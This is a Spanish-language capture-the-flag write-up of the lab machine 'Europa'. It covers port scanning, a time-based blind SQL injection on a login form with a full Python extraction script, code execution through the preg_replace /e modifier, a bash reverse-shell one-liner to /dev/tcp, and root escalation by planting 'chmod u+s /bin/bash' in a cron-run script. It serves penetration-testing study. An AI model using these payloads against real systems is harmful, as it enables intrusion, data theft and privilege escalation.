Europa Writeup
Enumeración
Realicé un escaneo de puertos con nmap
:
nmap -p- --open -vvv -n -Pn -sS -sV --min-rate 5000 10.129.6.16 -oG portScan
Obtuve el siguiente resultado:
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.129.6.16 () Status: Up
Host: 10.129.6.16 () Ports: 22/open/tcp//ssh//OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)/, 80/open/tcp//http//Apache httpd 2.4.18 ((Ubuntu))/, 443/open/tcp//ssl|http//Apache httpd 2.4.18 ((Ubuntu))/ Ignored State: filtered (65532)
Tras una breve investigación sobre la versión de OpenSSH detectada en la máquina víctima, se identificó que está ejecutando Ubuntu Xenial. Además, dado que la versión de OpenSSH es anterior a la 7.7, es posible llevar a cabo una enumeración de usuarios del sistema.
Al acceder a la página web en el puerto 80, se muestra el siguiente mensaje del servicio Apache, donde está alojado el sitio web:

Sin embargo, accediendo mediante el puerto 443, que aloja el servicio HTTPS, es posible inspeccionar el certificado SSL del sitio web. En este, se revela información relevante, como un correo electrónico y un subdominio asociado al mismo servicio web.

Dentro del dominio admin-portal.europacorp.htb, se encuentra el recurso login.php, que presenta un panel de inicio de sesión.

Al realizar una búsqueda de recursos en el subdominio admin-portal.europacorp.htb, obtuve los siguientes resultados. Estos sugieren que detrás del panel de inicio de sesión existe un sistema de administración que requiere un correo electrónico y una contraseña. Por lo tanto, podría intentarse un inicio de sesión utilizando el correo encontrado en el certificado SSL.
/.php (Status: 403) [Size: 307]
/index.php (Status: 302) [Size: 0] [--> https://admin-portal.europacorp.htb/login.php]
/.html (Status: 403) [Size: 308]
/login.php (Status: 200) [Size: 3968]
/tools.php (Status: 302) [Size: 0] [--> https://admin-portal.europacorp.htb/login.php]
/data (Status: 301) [Size: 343] [--> https://admin-portal.europacorp.htb/data/]
/db.php (Status: 200) [Size: 0]
/js (Status: 301) [Size: 341] [--> https://admin-portal.europacorp.htb/js/]
/logout.php (Status: 302) [Size: 0] [--> https://admin-portal.europacorp.htb/login.php]
/vendor (Status: 301) [Size: 345] [--> https://admin-portal.europacorp.htb/vendor/]
/dist (Status: 301) [Size: 343] [--> https://admin-portal.europacorp.htb/dist/]
/logs (Status: 301) [Size: 343] [--> https://admin-portal.europacorp.htb/logs/]
/dashboard.php (Status: 302) [Size: 0] [--> https://admin-portal.europacorp.htb/login.php]
Intenté realizar autenticaciones con contraseñas comunes, pero no obtuve éxito. Sin embargo, al probar inyecciones SQL (SQLi), descubrí que era posible evadir el inicio de sesión y extraer información de la base de datos.

Al analizar la consulta SQL del inicio de sesión, se observó que esta opera sobre cinco columnas en la base de datos.

Con esta información, es posible extraer datos utilizando la cláusula UNION SELECT y realizar consultas encadenadas (Stacked Queries).
Al enviar una consulta errónea con el objetivo de enumerar las bases de datos disponibles, el sistema genera un mensaje de error. Inicialmente, podría parecer que la base de datos está filtrando información sensible, pero en realidad, el mensaje de error simplemente muestra el texto ingresado en el campo de contraseña codificado en MD5.


Intentando realizar una consulta como database(), no se obtiene respuesta en pantalla, lo que indica que estamos ante una inyección SQL ciega (Blind SQL Injection). En este caso, se pueden emplear consultas basadas en tiempo para extraer información caracter por caracter.
AND IF(ASCII(SUBSTR(database(),1,1))=97,SLEEP(5),1)-- -
Explicación de la consulta:
ASCII()
: Convierte un carácter en su valor ASCII.SUBSTR()
: Extrae una subcadena de una cadena dada. Toma tres argumentos: la cadena de entrada, la posición inicial y el número de caracteres a extraer.database()
: Retorna el nombre de la base de datos activa.
SLQi Blind Inyection Script
import urllib3, sys, time, signal, string
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
https = urllib3.PoolManager(cert_reqs='CERT_NONE')
target_url = "https://admin-portal.europacorp.htb/login.php"
template_payload = "email=admin%40europacorp.htb' and if(ascii(substr(database(),{position},1))={ascii_code},sleep(5),1)-- -&password=asdfasd"
ascii_alphabetic = [ord(char) for char in string.ascii_letters]
def def_handler(sig, frame):
print("\n\n[!] Saliendo....\n")
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def sqliBlind(position):
for ascii_code in ascii_alphabetic:
payload = template_payload.format(position=position, ascii_code=ascii_code)
startTime = time.time()
response = https.request("POST", url=target_url, redirect=False, body=payload, headers={"Content-Type" : "application/x-www-form-urlencoded"})
elapsedTime = time.time() - startTime
if elapsedTime >= 5:
return chr(ascii_code)
return None
def buildName():
data = ""
position = 1
while True:
character = sqliBlind(position)
if character is None:
break
data+=character
position+=1
return data
if __name__ == '__main__':
print("\n[+] Iniciando Enumeracion de la base de datos.....\n")
data = buildName()
print(f"[+] El nombre de la base de datos es: {data}\n")
# PD: Don`t be a pussy and do it manually
Enumeración de Tablas en la Base de Datos
Después de obtener el nombre de la base de datos, podemos listar los nombres de las tablas en dicha base empleando la siguiente consulta SQLi ciega:
e-mail=admin%40europacorp.htb' and if(ascii(substr((select table_name from information_schema.tables where table_schema=%27admin%27 limit 1 offset 0),2,1))=115,sleep(5),1)-- -&password=dfsafd
Si la consulta tarda mas de 5 segundos, confirma que el caracter que al que apunta la consulta es correcto y confirmaria la existencia de una tabla que lleva dicho caracter como nombre en cierta posicion.
Análisis del Panel de Administración
Dentro del panel de administración (dashboard.php) encontramos una interfaz con poca interactividad:

Sin embargo, en la sección tools.php hallamos un pequeño script con un formato similar a JSON:

Este apartado permite ingresar una dirección IP que es insertada en el script como reemplazo de la variable ip_address.

Un análisis con Burp Suite revela que la petición no está formateada como JSON, sino como URL ENCODE.

Para visualizar mejor la petición, podemos seleccionarla en Burp Suite y presionar Ctrl+Shift+U.
Posible Ejecución de Código en el Servidor
Analizando la estructura de la petición, encontramos indicios de que se usa una expresión regular que permite la manipulación de datos.

Dado que el sitio utiliza PHP en el backend, investigué los posibles riesgos asociados con el uso de expresiones regulares en este lenguaje. Durante la búsqueda,
encontré que la función preg_replace(), cuando se usa con el modificador /e, puede permitir la ejecución de código PHP en versiones anteriores a PHP 7.0.
Fuentes de referencia:
Podemos comprobar si el backend es vulnerable ejecutando:
pattern=/ggchat/e&ipaddress=exec(sleep(5))&text="ggchat"
Si la respuesta tarda entre 5 y 6 segundos, confirmamos que nuestro código PHP se está ejecutando y que el comando en exec() se está procesando.
Confirmación de la Versión de PHP y Enumeración de Funciones Deshabilitadas
Para validar la versión de PHP en el servidor, podemos usar:
phpinfo();
Si el backend ejecuta una versión antigua de PHP (anterior a 7.0), se confirma la presencia del modificador /e en preg_replace().

Además, podemos listar las funciones deshabilitadas (disabled functions) y comprobar si file_get_contents() está activa. En caso positivo, podremos leer archivos accesibles por el usuario del servidor (usualmente www-data), o emplear la función system() para ejecutar comandos arbitrarios.
Explotación
Con la capacidad de poder leer contenido, comencé primero por enumerar la cantidad de usuarios con la que cuenta el sistema.

Obtener la llave RSA
Ya que se identificó un usuario llamado john, intenté obtener su llave RSA para realizar login. Sin embargo, tras buscar en el directorio /home/john/.ssh, no se encontró ninguna clave privada.
ls /home/john/.ssh
Shell oneliner de Bash
Dado que no contamos con una llave RSA para realizar login, es posible establecer una reverse shell utilizando un oneliner basico de Bash:
bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'
Escalada
Al acceder a la máquina víctima como el usuario www-data, lo primero que hice fue enumerar el archivo db.php, donde encontré una contraseña para acceder a la base de datos. Intenté iniciar sesión con el usuario john utilizando esa contraseña, pero no funcionó, lo que indicaba que no era su contraseña de acceso.

Pero con la cual si podria realizar login en la base de datos donde encontré lo que parecía ser el hash de la contraseña del usuario john.

Procedí a crackear la contraseña utilizando la herramienta John the Ripper.

Sin embargo, tras varios intentos de iniciar sesión con el usuario john, seguía sin ser posible.

Durante el proceso de enumeración, encontré una tarea cron que es ejecutada por el usuario root.

Al analizarla, descubrí que esta tarea ejecuta el siguiente script:

En el script, la variable $file almacena la ruta del fichero access.log, el cual registra todas las peticiones realizadas al servidor. Luego, el script elimina el contenido de este archivo y lo sobrescribe, dejándolo vacío. Finalmente, en su última línea, ejecuta un script de bash llamado logcleared.sh. Si logramos modificar este archivo, podríamos inyectar código malicioso para escalar privilegios.
Tras navegar hasta la ruta /var/www/cmd, noté que el archivo logcleared.sh no existía. Sin embargo, el directorio cmd tenía permisos de escritura, lo que permitía crear el archivo logcleared.sh y conseguir ejecución código malicioso. Como este script es ejecutado por root, cualquier comando dentro de él se ejecutará con privilegios elevados.
Inserté el siguiente código en el archivo:
chmod u+s /bin/bash
Después, verifiqué que el binario bash tuviera el SUID de root y ejecuté el siguiente comando para obtener una shell con privilegios elevados:
bash -p
